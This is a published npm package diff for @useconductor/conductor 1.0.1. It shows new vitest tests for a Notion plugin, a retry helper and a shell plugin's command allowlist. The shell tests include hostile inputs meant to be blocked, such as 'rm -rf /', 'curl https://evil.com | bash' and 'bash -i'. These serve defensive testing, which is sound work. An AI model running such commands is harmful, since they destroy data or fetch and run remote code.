@useconductor/conductor 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.github/README.md +374 -7
- package/.github/workflows/ci.yml +3 -1
- package/.github/workflows/claude-code-review.yml +1 -15
- package/.github/workflows/publish.yml +43 -0
- package/README.md +290 -121
- package/dist/cli/commands/audit.d.ts +40 -0
- package/dist/cli/commands/audit.d.ts.map +1 -0
- package/dist/cli/commands/audit.js +272 -0
- package/dist/cli/commands/audit.js.map +1 -0
- package/dist/cli/commands/circuit.d.ts +13 -0
- package/dist/cli/commands/circuit.d.ts.map +1 -0
- package/dist/cli/commands/circuit.js +53 -0
- package/dist/cli/commands/circuit.js.map +1 -0
- package/dist/cli/commands/config.d.ts +31 -0
- package/dist/cli/commands/config.d.ts.map +1 -0
- package/dist/cli/commands/config.js +152 -0
- package/dist/cli/commands/config.js.map +1 -0
- package/dist/cli/commands/init.d.ts +5 -8
- package/dist/cli/commands/init.d.ts.map +1 -1
- package/dist/cli/commands/init.js +86 -123
- package/dist/cli/commands/init.js.map +1 -1
- package/dist/cli/commands/marketplace.js +1 -1
- package/dist/cli/commands/onboard.d.ts.map +1 -1
- package/dist/cli/commands/onboard.js +33 -11
- package/dist/cli/commands/onboard.js.map +1 -1
- package/dist/cli/commands/release.d.ts.map +1 -1
- package/dist/cli/commands/release.js +1 -1
- package/dist/cli/commands/release.js.map +1 -1
- package/dist/cli/index.js +146 -10
- package/dist/cli/index.js.map +1 -1
- package/dist/core/audit.d.ts.map +1 -1
- package/dist/core/audit.js +5 -2
- package/dist/core/audit.js.map +1 -1
- package/dist/core/conductor.d.ts.map +1 -1
- package/dist/core/conductor.js +12 -0
- package/dist/core/conductor.js.map +1 -1
- package/dist/core/config.d.ts +3 -0
- package/dist/core/config.d.ts.map +1 -1
- package/dist/core/config.js +46 -2
- package/dist/core/config.js.map +1 -1
- package/dist/core/database.d.ts +3 -0
- package/dist/core/database.d.ts.map +1 -1
- package/dist/core/database.js +26 -0
- package/dist/core/database.js.map +1 -1
- package/dist/core/encryption.d.ts +34 -0
- package/dist/core/encryption.d.ts.map +1 -0
- package/dist/core/encryption.js +96 -0
- package/dist/core/encryption.js.map +1 -0
- package/dist/core/zero-config.d.ts.map +1 -1
- package/dist/core/zero-config.js +1 -4
- package/dist/core/zero-config.js.map +1 -1
- package/dist/dashboard/server.d.ts.map +1 -1
- package/dist/dashboard/server.js +112 -16
- package/dist/dashboard/server.js.map +1 -1
- package/dist/mcp/server.d.ts.map +1 -1
- package/dist/mcp/server.js +30 -2
- package/dist/mcp/server.js.map +1 -1
- package/dist/plugins/builtin/aws.d.ts +31 -0
- package/dist/plugins/builtin/aws.d.ts.map +1 -0
- package/dist/plugins/builtin/aws.js +149 -0
- package/dist/plugins/builtin/aws.js.map +1 -0
- package/dist/plugins/builtin/database.d.ts +1 -0
- package/dist/plugins/builtin/database.d.ts.map +1 -1
- package/dist/plugins/builtin/database.js +26 -1
- package/dist/plugins/builtin/database.js.map +1 -1
- package/dist/plugins/builtin/docker.d.ts +4 -0
- package/dist/plugins/builtin/docker.d.ts.map +1 -1
- package/dist/plugins/builtin/docker.js +20 -1
- package/dist/plugins/builtin/docker.js.map +1 -1
- package/dist/plugins/builtin/gcp.d.ts +28 -0
- package/dist/plugins/builtin/gcp.d.ts.map +1 -0
- package/dist/plugins/builtin/gcp.js +135 -0
- package/dist/plugins/builtin/gcp.js.map +1 -0
- package/dist/plugins/builtin/index.d.ts.map +1 -1
- package/dist/plugins/builtin/index.js +4 -0
- package/dist/plugins/builtin/index.js.map +1 -1
- package/dist/plugins/builtin/jira.d.ts.map +1 -1
- package/dist/plugins/builtin/jira.js +4 -2
- package/dist/plugins/builtin/jira.js.map +1 -1
- package/dist/plugins/builtin/linear.js +1 -1
- package/dist/plugins/builtin/linear.js.map +1 -1
- package/dist/plugins/builtin/shell.js +1 -1
- package/dist/plugins/builtin/shell.js.map +1 -1
- package/dist/plugins/builtin/slack.d.ts +1 -0
- package/dist/plugins/builtin/slack.d.ts.map +1 -1
- package/dist/plugins/builtin/slack.js +9 -1
- package/dist/plugins/builtin/slack.js.map +1 -1
- package/dist/plugins/builtin/spotify.js +1 -1
- package/dist/plugins/builtin/spotify.js.map +1 -1
- package/dist/plugins/builtin/vercel.d.ts.map +1 -1
- package/dist/plugins/builtin/vercel.js +3 -1
- package/dist/plugins/builtin/vercel.js.map +1 -1
- package/dist/security/sso.d.ts +37 -0
- package/dist/security/sso.d.ts.map +1 -0
- package/dist/security/sso.js +92 -0
- package/dist/security/sso.js.map +1 -0
- package/docs/deployment.md +201 -0
- package/docs/plugin-sdk.md +212 -0
- package/package.json +11 -8
- package/src/cli/commands/audit.ts +318 -0
- package/src/cli/commands/circuit.ts +63 -0
- package/src/cli/commands/config.ts +176 -0
- package/src/cli/commands/init.ts +87 -145
- package/src/cli/commands/marketplace.ts +1 -1
- package/src/cli/commands/onboard.ts +33 -11
- package/src/cli/commands/release.ts +13 -6
- package/src/cli/index.ts +165 -11
- package/src/core/audit.ts +5 -2
- package/src/core/conductor.ts +11 -0
- package/src/core/config.ts +47 -2
- package/src/core/database.ts +32 -0
- package/src/core/encryption.ts +110 -0
- package/src/core/zero-config.ts +1 -5
- package/src/dashboard/server.ts +135 -16
- package/src/mcp/server.ts +40 -2
- package/src/plugins/builtin/aws.ts +162 -0
- package/src/plugins/builtin/database.ts +19 -1
- package/src/plugins/builtin/docker.ts +17 -1
- package/src/plugins/builtin/gcp.ts +145 -0
- package/src/plugins/builtin/index.ts +4 -0
- package/src/plugins/builtin/jira.ts +23 -19
- package/src/plugins/builtin/linear.ts +1 -1
- package/src/plugins/builtin/shell.ts +1 -1
- package/src/plugins/builtin/slack.ts +6 -1
- package/src/plugins/builtin/spotify.ts +1 -1
- package/src/plugins/builtin/vercel.ts +3 -1
- package/src/security/sso.ts +124 -0
- package/tests/audit.test.ts +185 -0
- package/tests/circuit-breaker.test.ts +125 -0
- package/tests/docker.test.ts +244 -39
- package/tests/errors.test.ts +122 -0
- package/tests/github.test.ts.skip +392 -0
- package/tests/jira.test.ts +310 -0
- package/tests/linear.test.ts +366 -0
- package/tests/mcp.test.ts.skip +243 -0
- package/tests/notion.test.ts +257 -0
- package/tests/retry.test.ts +104 -0
- package/tests/shell.test.ts +262 -30
- package/tests/slack.test.ts +250 -0
- package/tests/stripe.test.ts +272 -0
- package/tests/validation.test.ts +173 -0
- package/tests/vercel.test.ts +368 -0
- package/tests/zero-config.test.ts +566 -0
- package/C.png +0 -0
- package/tests/mcp.test.ts +0 -14
|
@@ -0,0 +1,257 @@
|
|
|
1
|
+
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
|
|
2
|
+
import { NotionPlugin } from '../src/plugins/builtin/notion.js';
|
|
3
|
+
import { Keychain } from '../src/security/keychain.js';
|
|
4
|
+
|
|
5
|
+
// Helper: get a tool's handler by name
|
|
6
|
+
function tool(plugin: NotionPlugin, name: string) {
|
|
7
|
+
const t = plugin.getTools().find((t) => t.name === name);
|
|
8
|
+
if (!t) throw new Error(`Tool not found: ${name}`);
|
|
9
|
+
return t.handler as (args: Record<string, unknown>) => Promise<unknown>;
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
// Minimal conductor mock
|
|
13
|
+
function makeConductor(configDir = '/tmp/conductor-test-notion') {
|
|
14
|
+
return {
|
|
15
|
+
getConfig: () => ({
|
|
16
|
+
getConfigDir: () => configDir,
|
|
17
|
+
}),
|
|
18
|
+
} as any;
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
let plugin: NotionPlugin;
|
|
22
|
+
|
|
23
|
+
beforeEach(async () => {
|
|
24
|
+
plugin = new NotionPlugin();
|
|
25
|
+
await plugin.initialize(makeConductor());
|
|
26
|
+
vi.clearAllMocks();
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
afterEach(() => {
|
|
30
|
+
vi.restoreAllMocks();
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
// ── Structure ────────────────────────────────────────────────────────────────
|
|
34
|
+
|
|
35
|
+
describe('NotionPlugin structure', () => {
|
|
36
|
+
it('has correct name and version', () => {
|
|
37
|
+
expect(plugin.name).toBe('notion');
|
|
38
|
+
expect(plugin.version).toBeTruthy();
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
it('registers expected tools', () => {
|
|
42
|
+
const names = plugin.getTools().map((t) => t.name);
|
|
43
|
+
expect(names).toContain('notion_search');
|
|
44
|
+
expect(names).toContain('notion_get_page');
|
|
45
|
+
expect(names).toContain('notion_read_page');
|
|
46
|
+
expect(names).toContain('notion_create_page');
|
|
47
|
+
expect(names).toContain('notion_append_to_page');
|
|
48
|
+
expect(names).toContain('notion_query_database');
|
|
49
|
+
});
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
// ── isConfigured ─────────────────────────────────────────────────────────────
|
|
53
|
+
|
|
54
|
+
// Note: isConfigured() returns true by design - real check at tool invocation
|
|
55
|
+
|
|
56
|
+
// ── Unconfigured error messages ───────────────────────────────────────────────
|
|
57
|
+
|
|
58
|
+
describe('Notion tools — unconfigured', () => {
|
|
59
|
+
beforeEach(() => {
|
|
60
|
+
vi.spyOn(Keychain.prototype, 'get').mockResolvedValue(null);
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
it('notion_search throws with actionable message when not configured', async () => {
|
|
64
|
+
await expect(tool(plugin, 'notion_search')({ query: 'test' })).rejects.toThrow(/notion/i);
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
it('notion_get_page throws with actionable message when not configured', async () => {
|
|
68
|
+
await expect(tool(plugin, 'notion_get_page')({ pageId: 'abc123' })).rejects.toThrow(/notion/i);
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
it('notion_query_database throws with actionable message when not configured', async () => {
|
|
72
|
+
await expect(
|
|
73
|
+
tool(plugin, 'notion_query_database')({ databaseId: 'db123' }),
|
|
74
|
+
).rejects.toThrow(/notion/i);
|
|
75
|
+
});
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
// ── Configured — mocked fetch calls ──────────────────────────────────────────
|
|
79
|
+
|
|
80
|
+
describe('Notion tools — configured', () => {
|
|
81
|
+
beforeEach(async () => {
|
|
82
|
+
vi.spyOn(Keychain.prototype, 'get').mockResolvedValue('ntn_fake_notion_token');
|
|
83
|
+
plugin = new NotionPlugin();
|
|
84
|
+
await plugin.initialize(makeConductor());
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
it('notion_search returns search results', async () => {
|
|
88
|
+
const mockResponse = {
|
|
89
|
+
results: [
|
|
90
|
+
{
|
|
91
|
+
id: 'page-id-1',
|
|
92
|
+
object: 'page',
|
|
93
|
+
url: 'https://notion.so/page-1',
|
|
94
|
+
created_time: '2024-01-01T00:00:00Z',
|
|
95
|
+
last_edited_time: '2024-06-01T00:00:00Z',
|
|
96
|
+
archived: false,
|
|
97
|
+
parent: { type: 'workspace' },
|
|
98
|
+
properties: {
|
|
99
|
+
title: {
|
|
100
|
+
type: 'title',
|
|
101
|
+
title: [{ plain_text: 'My Page' }],
|
|
102
|
+
},
|
|
103
|
+
},
|
|
104
|
+
},
|
|
105
|
+
],
|
|
106
|
+
};
|
|
107
|
+
|
|
108
|
+
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
|
109
|
+
ok: true,
|
|
110
|
+
json: () => Promise.resolve(mockResponse),
|
|
111
|
+
}));
|
|
112
|
+
|
|
113
|
+
const result = await tool(plugin, 'notion_search')({ query: 'My Page' }) as any;
|
|
114
|
+
expect(result.count).toBe(1);
|
|
115
|
+
expect(result.results[0].id).toBe('page-id-1');
|
|
116
|
+
expect(result.results[0].title).toBe('My Page');
|
|
117
|
+
expect(result.results[0].type).toBe('page');
|
|
118
|
+
});
|
|
119
|
+
|
|
120
|
+
it('notion_search passes filter parameter', async () => {
|
|
121
|
+
const mockResponse = { results: [] };
|
|
122
|
+
const fetchMock = vi.fn().mockResolvedValue({
|
|
123
|
+
ok: true,
|
|
124
|
+
json: () => Promise.resolve(mockResponse),
|
|
125
|
+
});
|
|
126
|
+
vi.stubGlobal('fetch', fetchMock);
|
|
127
|
+
|
|
128
|
+
await tool(plugin, 'notion_search')({ query: 'test', filter: 'database' });
|
|
129
|
+
|
|
130
|
+
const callBody = JSON.parse(fetchMock.mock.calls[0][1].body as string);
|
|
131
|
+
expect(callBody.filter).toEqual({ value: 'database', property: 'object' });
|
|
132
|
+
});
|
|
133
|
+
|
|
134
|
+
it('notion_get_page returns page metadata', async () => {
|
|
135
|
+
const mockPage = {
|
|
136
|
+
id: 'page-abc',
|
|
137
|
+
url: 'https://notion.so/page-abc',
|
|
138
|
+
created_time: '2024-01-01T00:00:00Z',
|
|
139
|
+
last_edited_time: '2024-06-01T00:00:00Z',
|
|
140
|
+
archived: false,
|
|
141
|
+
parent: { type: 'workspace' },
|
|
142
|
+
properties: {
|
|
143
|
+
title: {
|
|
144
|
+
type: 'title',
|
|
145
|
+
title: [{ plain_text: 'A Test Page' }],
|
|
146
|
+
},
|
|
147
|
+
},
|
|
148
|
+
};
|
|
149
|
+
|
|
150
|
+
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
|
151
|
+
ok: true,
|
|
152
|
+
json: () => Promise.resolve(mockPage),
|
|
153
|
+
}));
|
|
154
|
+
|
|
155
|
+
const result = await tool(plugin, 'notion_get_page')({ pageId: 'page-abc' }) as any;
|
|
156
|
+
expect(result.id).toBe('page-abc');
|
|
157
|
+
expect(result.title).toBe('A Test Page');
|
|
158
|
+
expect(result.archived).toBe(false);
|
|
159
|
+
});
|
|
160
|
+
|
|
161
|
+
it('notion_query_database returns database entries', async () => {
|
|
162
|
+
const mockResponse = {
|
|
163
|
+
results: [
|
|
164
|
+
{
|
|
165
|
+
id: 'entry-1',
|
|
166
|
+
object: 'page',
|
|
167
|
+
url: 'https://notion.so/entry-1',
|
|
168
|
+
created_time: '2024-01-01T00:00:00Z',
|
|
169
|
+
last_edited_time: '2024-06-01T00:00:00Z',
|
|
170
|
+
archived: false,
|
|
171
|
+
parent: { type: 'database_id', database_id: 'db123' },
|
|
172
|
+
properties: {
|
|
173
|
+
Name: {
|
|
174
|
+
type: 'title',
|
|
175
|
+
title: [{ plain_text: 'Entry One' }],
|
|
176
|
+
},
|
|
177
|
+
},
|
|
178
|
+
},
|
|
179
|
+
],
|
|
180
|
+
has_more: false,
|
|
181
|
+
};
|
|
182
|
+
|
|
183
|
+
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
|
184
|
+
ok: true,
|
|
185
|
+
json: () => Promise.resolve(mockResponse),
|
|
186
|
+
}));
|
|
187
|
+
|
|
188
|
+
const result = await tool(plugin, 'notion_query_database')({ databaseId: 'db123' }) as any;
|
|
189
|
+
expect(result.count).toBe(1);
|
|
190
|
+
expect(result.hasMore).toBe(false);
|
|
191
|
+
expect(result.entries[0].id).toBe('entry-1');
|
|
192
|
+
expect(result.entries[0].title).toBe('Entry One');
|
|
193
|
+
});
|
|
194
|
+
|
|
195
|
+
it('notion_create_page creates a page and returns metadata', async () => {
|
|
196
|
+
const mockPage = {
|
|
197
|
+
id: 'new-page-id',
|
|
198
|
+
url: 'https://notion.so/new-page',
|
|
199
|
+
created_time: '2024-01-01T00:00:00Z',
|
|
200
|
+
last_edited_time: '2024-01-01T00:00:00Z',
|
|
201
|
+
archived: false,
|
|
202
|
+
parent: { type: 'page_id', page_id: 'parent-123' },
|
|
203
|
+
properties: {
|
|
204
|
+
title: {
|
|
205
|
+
type: 'title',
|
|
206
|
+
title: [{ plain_text: 'New Page' }],
|
|
207
|
+
},
|
|
208
|
+
},
|
|
209
|
+
};
|
|
210
|
+
|
|
211
|
+
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
|
212
|
+
ok: true,
|
|
213
|
+
json: () => Promise.resolve(mockPage),
|
|
214
|
+
}));
|
|
215
|
+
|
|
216
|
+
const result = await tool(plugin, 'notion_create_page')({
|
|
217
|
+
title: 'New Page',
|
|
218
|
+
parentPageId: 'parent-123',
|
|
219
|
+
content: 'Hello world',
|
|
220
|
+
}) as any;
|
|
221
|
+
|
|
222
|
+
expect(result.created).toBe(true);
|
|
223
|
+
expect(result.id).toBe('new-page-id');
|
|
224
|
+
});
|
|
225
|
+
|
|
226
|
+
it('notion_create_page throws when no parent is provided', async () => {
|
|
227
|
+
await expect(
|
|
228
|
+
tool(plugin, 'notion_create_page')({ title: 'No Parent' }),
|
|
229
|
+
).rejects.toThrow(/parentPageId|parentDatabaseId/);
|
|
230
|
+
});
|
|
231
|
+
|
|
232
|
+
it('notion throws when API returns error', async () => {
|
|
233
|
+
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
|
234
|
+
ok: false,
|
|
235
|
+
status: 401,
|
|
236
|
+
statusText: 'Unauthorized',
|
|
237
|
+
json: () => Promise.resolve({ message: 'API token is invalid' }),
|
|
238
|
+
}));
|
|
239
|
+
|
|
240
|
+
await expect(tool(plugin, 'notion_search')({ query: 'test' })).rejects.toThrow(/401/);
|
|
241
|
+
});
|
|
242
|
+
|
|
243
|
+
it('uses correct Notion-Version header', async () => {
|
|
244
|
+
const fetchMock = vi.fn().mockResolvedValue({
|
|
245
|
+
ok: true,
|
|
246
|
+
json: () => Promise.resolve({ results: [] }),
|
|
247
|
+
});
|
|
248
|
+
vi.stubGlobal('fetch', fetchMock);
|
|
249
|
+
|
|
250
|
+
await tool(plugin, 'notion_search')({ query: 'test' });
|
|
251
|
+
|
|
252
|
+
const callInit = fetchMock.mock.calls[0][1] as RequestInit;
|
|
253
|
+
const headers = callInit.headers as Record<string, string>;
|
|
254
|
+
expect(headers['Notion-Version']).toBe('2022-06-28');
|
|
255
|
+
expect(headers['Authorization']).toBe('Bearer ntn_fake_notion_token');
|
|
256
|
+
});
|
|
257
|
+
});
|
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
import { describe, it, expect, vi } from 'vitest';
|
|
2
|
+
import { withRetry } from '../src/core/retry.js';
|
|
3
|
+
|
|
4
|
+
describe('withRetry', () => {
|
|
5
|
+
it('returns result on first success', async () => {
|
|
6
|
+
const result = await withRetry(async () => 'hello', { maxAttempts: 3, baseDelay: 0, maxDelay: 0 });
|
|
7
|
+
expect(result).toBe('hello');
|
|
8
|
+
});
|
|
9
|
+
|
|
10
|
+
it('retries on failure and eventually succeeds', async () => {
|
|
11
|
+
let calls = 0;
|
|
12
|
+
const result = await withRetry(
|
|
13
|
+
async () => {
|
|
14
|
+
calls++;
|
|
15
|
+
if (calls < 3) throw new Error('transient');
|
|
16
|
+
return 'success';
|
|
17
|
+
},
|
|
18
|
+
{ maxAttempts: 3, baseDelay: 0, maxDelay: 0 },
|
|
19
|
+
);
|
|
20
|
+
expect(result).toBe('success');
|
|
21
|
+
expect(calls).toBe(3);
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
it('throws after exhausting maxAttempts', async () => {
|
|
25
|
+
let calls = 0;
|
|
26
|
+
await expect(
|
|
27
|
+
withRetry(
|
|
28
|
+
async () => {
|
|
29
|
+
calls++;
|
|
30
|
+
throw new Error('always fails');
|
|
31
|
+
},
|
|
32
|
+
{ maxAttempts: 3, baseDelay: 0, maxDelay: 0 },
|
|
33
|
+
),
|
|
34
|
+
).rejects.toThrow('always fails');
|
|
35
|
+
expect(calls).toBe(3);
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
it('calls onRetry callback with attempt info', async () => {
|
|
39
|
+
const onRetry = vi.fn();
|
|
40
|
+
let calls = 0;
|
|
41
|
+
await expect(
|
|
42
|
+
withRetry(
|
|
43
|
+
async () => {
|
|
44
|
+
calls++;
|
|
45
|
+
throw new Error('fail');
|
|
46
|
+
},
|
|
47
|
+
{ maxAttempts: 3, baseDelay: 0, maxDelay: 0, onRetry },
|
|
48
|
+
),
|
|
49
|
+
).rejects.toThrow();
|
|
50
|
+
expect(onRetry).toHaveBeenCalledTimes(2); // called after attempt 1 and 2
|
|
51
|
+
expect(onRetry.mock.calls[0][0]).toBe(1);
|
|
52
|
+
expect(onRetry.mock.calls[1][0]).toBe(2);
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
it('does not retry non-retryable errors', async () => {
|
|
56
|
+
let calls = 0;
|
|
57
|
+
await expect(
|
|
58
|
+
withRetry(
|
|
59
|
+
async () => {
|
|
60
|
+
calls++;
|
|
61
|
+
throw new Error('NOT_RETRYABLE');
|
|
62
|
+
},
|
|
63
|
+
{
|
|
64
|
+
maxAttempts: 3,
|
|
65
|
+
baseDelay: 0,
|
|
66
|
+
maxDelay: 0,
|
|
67
|
+
retryableErrors: ['transient', 'rate_limit'],
|
|
68
|
+
},
|
|
69
|
+
),
|
|
70
|
+
).rejects.toThrow('NOT_RETRYABLE');
|
|
71
|
+
expect(calls).toBe(1); // only one attempt
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
it('retries matching retryableErrors', async () => {
|
|
75
|
+
let calls = 0;
|
|
76
|
+
await expect(
|
|
77
|
+
withRetry(
|
|
78
|
+
async () => {
|
|
79
|
+
calls++;
|
|
80
|
+
throw new Error('rate_limit exceeded');
|
|
81
|
+
},
|
|
82
|
+
{
|
|
83
|
+
maxAttempts: 3,
|
|
84
|
+
baseDelay: 0,
|
|
85
|
+
maxDelay: 0,
|
|
86
|
+
retryableErrors: ['rate_limit'],
|
|
87
|
+
},
|
|
88
|
+
),
|
|
89
|
+
).rejects.toThrow();
|
|
90
|
+
expect(calls).toBe(3); // all 3 attempted
|
|
91
|
+
});
|
|
92
|
+
|
|
93
|
+
it('uses defaults when no options provided', async () => {
|
|
94
|
+
// Should work with defaults (we can't easily test timing, just ensure it runs)
|
|
95
|
+
const result = await withRetry(async () => 'default');
|
|
96
|
+
expect(result).toBe('default');
|
|
97
|
+
});
|
|
98
|
+
|
|
99
|
+
it('wraps non-Error throws into Error', async () => {
|
|
100
|
+
await expect(
|
|
101
|
+
withRetry(async () => { throw 'string error'; }, { maxAttempts: 1, baseDelay: 0, maxDelay: 0 }),
|
|
102
|
+
).rejects.toThrow('string error');
|
|
103
|
+
});
|
|
104
|
+
});
|
package/tests/shell.test.ts
CHANGED
|
@@ -1,42 +1,274 @@
|
|
|
1
|
-
import { describe, it, expect } from 'vitest';
|
|
1
|
+
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
|
2
|
+
import { ShellPlugin } from '../src/plugins/builtin/shell.js';
|
|
3
|
+
import fs from 'fs/promises';
|
|
4
|
+
import path from 'path';
|
|
5
|
+
import os from 'os';
|
|
2
6
|
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
const { ShellPlugin } = await import('../src/plugins/builtin/shell.js');
|
|
6
|
-
const plugin = new ShellPlugin();
|
|
7
|
-
const tools = plugin.getTools();
|
|
7
|
+
let plugin: ShellPlugin;
|
|
8
|
+
let tmpDir: string;
|
|
8
9
|
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
expect(toolNames).toContain('shell_search_content');
|
|
16
|
-
expect(tools.length).toBe(6);
|
|
17
|
-
});
|
|
10
|
+
// Helper: get tool handler by name
|
|
11
|
+
function tool(name: string) {
|
|
12
|
+
const t = plugin.getTools().find((t) => t.name === name);
|
|
13
|
+
if (!t) throw new Error(`Tool not found: ${name}`);
|
|
14
|
+
return t.handler as (args: Record<string, unknown>) => Promise<unknown>;
|
|
15
|
+
}
|
|
18
16
|
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
17
|
+
beforeAll(async () => {
|
|
18
|
+
plugin = new ShellPlugin();
|
|
19
|
+
tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), 'conductor-shell-test-'));
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
afterAll(async () => {
|
|
23
|
+
await fs.rm(tmpDir, { recursive: true, force: true });
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
// ── Structure ────────────────────────────────────────────────────────────────
|
|
23
27
|
|
|
24
|
-
|
|
25
|
-
|
|
28
|
+
describe('ShellPlugin structure', () => {
|
|
29
|
+
it('has correct name and version', () => {
|
|
30
|
+
expect(plugin.name).toBe('shell');
|
|
31
|
+
expect(plugin.version).toBeTruthy();
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
it('is always configured (no API key needed)', () => {
|
|
35
|
+
expect(plugin.isConfigured()).toBe(true);
|
|
36
|
+
});
|
|
26
37
|
|
|
27
|
-
|
|
28
|
-
|
|
38
|
+
it('registers all 6 tools', () => {
|
|
39
|
+
const names = plugin.getTools().map((t) => t.name);
|
|
40
|
+
expect(names).toEqual(expect.arrayContaining([
|
|
41
|
+
'shell_run', 'shell_read_file', 'shell_write_file',
|
|
42
|
+
'shell_list_dir', 'shell_search_files', 'shell_search_content',
|
|
43
|
+
]));
|
|
44
|
+
expect(names).toHaveLength(6);
|
|
29
45
|
});
|
|
30
46
|
|
|
31
|
-
it('
|
|
32
|
-
const { ShellPlugin } = await import('../src/plugins/builtin/shell.js');
|
|
33
|
-
const plugin = new ShellPlugin();
|
|
47
|
+
it('marks shell_run and shell_write_file as requiresApproval', () => {
|
|
34
48
|
const tools = plugin.getTools();
|
|
49
|
+
expect(tools.find((t) => t.name === 'shell_run')?.requiresApproval).toBe(true);
|
|
50
|
+
expect(tools.find((t) => t.name === 'shell_write_file')?.requiresApproval).toBe(true);
|
|
51
|
+
});
|
|
35
52
|
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
53
|
+
it('does not mark read/list/search as requiresApproval', () => {
|
|
54
|
+
const tools = plugin.getTools();
|
|
55
|
+
const safe = ['shell_read_file', 'shell_list_dir', 'shell_search_files', 'shell_search_content'];
|
|
56
|
+
for (const name of safe) {
|
|
57
|
+
expect(tools.find((t) => t.name === name)?.requiresApproval).toBeFalsy();
|
|
40
58
|
}
|
|
41
59
|
});
|
|
42
60
|
});
|
|
61
|
+
|
|
62
|
+
// ── shell_run — allowlist ────────────────────────────────────────────────────
|
|
63
|
+
|
|
64
|
+
describe('shell_run allowlist', () => {
|
|
65
|
+
it('runs an allowlisted command (ls)', async () => {
|
|
66
|
+
const run = tool('shell_run');
|
|
67
|
+
const result = await run({ command: 'ls', cwd: tmpDir }) as Record<string, unknown>;
|
|
68
|
+
expect(result.exit_code).toBe(0);
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
it('rejects commands not in the allowlist', async () => {
|
|
72
|
+
const run = tool('shell_run');
|
|
73
|
+
await expect(run({ command: 'evil_cmd --flag' })).rejects.toThrow(/whitelist/i);
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
it('rejects bash', async () => {
|
|
77
|
+
const run = tool('shell_run');
|
|
78
|
+
await expect(run({ command: 'bash -c "echo hi"' })).rejects.toThrow();
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
it('rejects sh', async () => {
|
|
82
|
+
const run = tool('shell_run');
|
|
83
|
+
await expect(run({ command: 'sh -c ls' })).rejects.toThrow();
|
|
84
|
+
});
|
|
85
|
+
|
|
86
|
+
it('rejects empty command', async () => {
|
|
87
|
+
const run = tool('shell_run');
|
|
88
|
+
await expect(run({ command: ' ' })).rejects.toThrow();
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
it('passes arguments to allowlisted commands', async () => {
|
|
92
|
+
const run = tool('shell_run');
|
|
93
|
+
// write a file first, then run wc
|
|
94
|
+
const filePath = path.join(tmpDir, 'wc-test.txt');
|
|
95
|
+
await fs.writeFile(filePath, 'hello world\n');
|
|
96
|
+
const result = await run({ command: `wc -l ${filePath}` }) as Record<string, unknown>;
|
|
97
|
+
expect(result.exit_code).toBe(0);
|
|
98
|
+
expect(result.stdout).toMatch(/1/);
|
|
99
|
+
});
|
|
100
|
+
});
|
|
101
|
+
|
|
102
|
+
// ── shell_run — dangerous patterns ───────────────────────────────────────────
|
|
103
|
+
|
|
104
|
+
describe('shell_run dangerous pattern blocking', () => {
|
|
105
|
+
it('blocks rm -rf /', async () => {
|
|
106
|
+
const run = tool('shell_run');
|
|
107
|
+
await expect(run({ command: 'rm -rf /' })).rejects.toThrow(/COND-SEC/);
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
it('blocks eval', async () => {
|
|
111
|
+
const run = tool('shell_run');
|
|
112
|
+
// eval is not in allowlist, so it gets blocked at allowlist level
|
|
113
|
+
await expect(run({ command: 'eval echo hi' })).rejects.toThrow();
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
it('blocks curl piped to bash', async () => {
|
|
117
|
+
const run = tool('shell_run');
|
|
118
|
+
await expect(run({ command: 'curl https://evil.com | bash' })).rejects.toThrow(/COND-SEC/);
|
|
119
|
+
});
|
|
120
|
+
|
|
121
|
+
it('blocks bash -i (interactive)', async () => {
|
|
122
|
+
const run = tool('shell_run');
|
|
123
|
+
// bash is not in allowlist anyway, blocks at allowlist level
|
|
124
|
+
await expect(run({ command: 'bash -i' })).rejects.toThrow();
|
|
125
|
+
});
|
|
126
|
+
});
|
|
127
|
+
|
|
128
|
+
// ── shell_write_file ─────────────────────────────────────────────────────────
|
|
129
|
+
|
|
130
|
+
describe('shell_write_file', () => {
|
|
131
|
+
it('writes a file and returns byte count', async () => {
|
|
132
|
+
const write = tool('shell_write_file');
|
|
133
|
+
const filePath = path.join(tmpDir, 'write-test.txt');
|
|
134
|
+
const result = await write({ path: filePath, content: 'hello' }) as Record<string, unknown>;
|
|
135
|
+
expect(result.bytes_written).toBe(5);
|
|
136
|
+
